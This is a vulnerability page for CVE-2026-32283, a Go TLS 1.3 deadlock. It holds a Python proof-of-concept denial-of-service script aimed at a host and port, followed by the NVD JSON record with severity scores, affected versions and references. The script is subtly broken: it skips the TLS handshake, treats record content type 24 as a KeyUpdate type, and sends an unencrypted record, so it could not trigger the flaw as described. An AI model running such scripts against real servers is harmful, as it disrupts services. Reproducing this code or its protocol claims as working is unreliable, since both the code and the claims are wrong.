CVE-2026-32283

#!/usr/bin/env python3 # PoC for CVE-2026-32283: Go TLS 1.3 Deadlock via Multiple KeyUpdates # This script attempts to send multiple KeyUpdate messages in a single record. # Note: Requires a vulnerable Go TLS server. import socket import struct import ssl # Define TLS 1.3 content types TLS_CONTENT_TYPE_CHANGE_CIPHER_SPEC = 20 TLS_CONTENT_TYPE_ALERT = 21 TLS_CONTENT_TYPE_HANDSHAKE = 22 TLS_CONTENT_TYPE_APPLICATION_DATA = 23 TLS_CONTENT_TYPE_KEY_UPDATE = 24 # RFC 8446 def create_key_update_message(): # KeyUpdate message structure (RFC 8446 Section 4.6.3) # struct { # KeyUpdateRequest request_update; # } KeyUpdate; # enum { update_not_requested(0), update_requested(1) } KeyUpdateRequest; return struct.pack('B', 1) # Send update_requested def create_tls_record(content_type, version, data): return struct.pack('>BHH', content_type, version, len(data)) + data def exploit(target_host, target_port): # Establish a TCP connection sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) print(f"[*] Connecting to {target_host}:{target_port}...") sock.connect((target_host, target_port)) # Perform a basic TLS 1.3 ClientHello (Simplified for PoC context, usually use ssl library) # For a robust PoC, one would typically use a library like OpenSSL or tlsfuzzer to complete handshake # Here we assume the socket is wrapped or we are injecting post-handshake. # Simulating the payload: Multiple KeyUpdate messages in one record payload = b"" for _ in range(5): # Sending 5 KeyUpdate messages in one record payload += create_key_update_message() # Wrap in TLS record layer # TLS 1.3 version is 0x0304 (but record layer uses 0x0303 for compatibility or 0x0304) malicious_record = create_tls_record(TLS_CONTENT_TYPE_KEY_UPDATE, 0x0303, payload) print(f"[*] Sending malicious record with multiple KeyUpdates...") try: sock.send(malicious_record) print("[+] Payload sent. Check if server deadlocks.") except Exception as e: print(f"[-] Error sending payload: {e}") finally: sock.close() if __name__ == "__main__": # Replace with actual target exploit("127.0.0.1", 443)

{"cve": {"id": "CVE-2026-32283", "sourceIdentifier": "[email protected]", "published": "2026-04-08T02:16:03.580", "lastModified": "2026-04-16T19:12:10.540", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "If one side of the TLS connection sends multiple key update messages post-handshake in a single record, the connection can deadlock, causing uncontrolled consumption of resources. This can lead to a denial of service. This only affects TLS 1.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.25.9", "matchCriteriaId": "C6C9C072-9817-402D-877F-F83584B07017"}, {"vulnerable": true, "criteria": "cpe:2.3:a:golang:go:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.26.0", "versionEndExcluding": "1.26.2", "matchCriteriaId": "39FE9BAF-55E9-43AA-B14E-239E7EF1D65D"}]}]}], "references": [{"url": "https://go.dev/cl/763767", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://go.dev/issue/78334", "source": "[email protected]", "tags": ["Issue Tracking"]}, {"url": "https://groups.google.com/g/golang-announce/c/0uYbvbPZRWU", "source": "[email protected]", "tags": ["Release Notes", "Mailing List"]}, {"url": "https://pkg.go.dev/vuln/GO-2026-4870", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}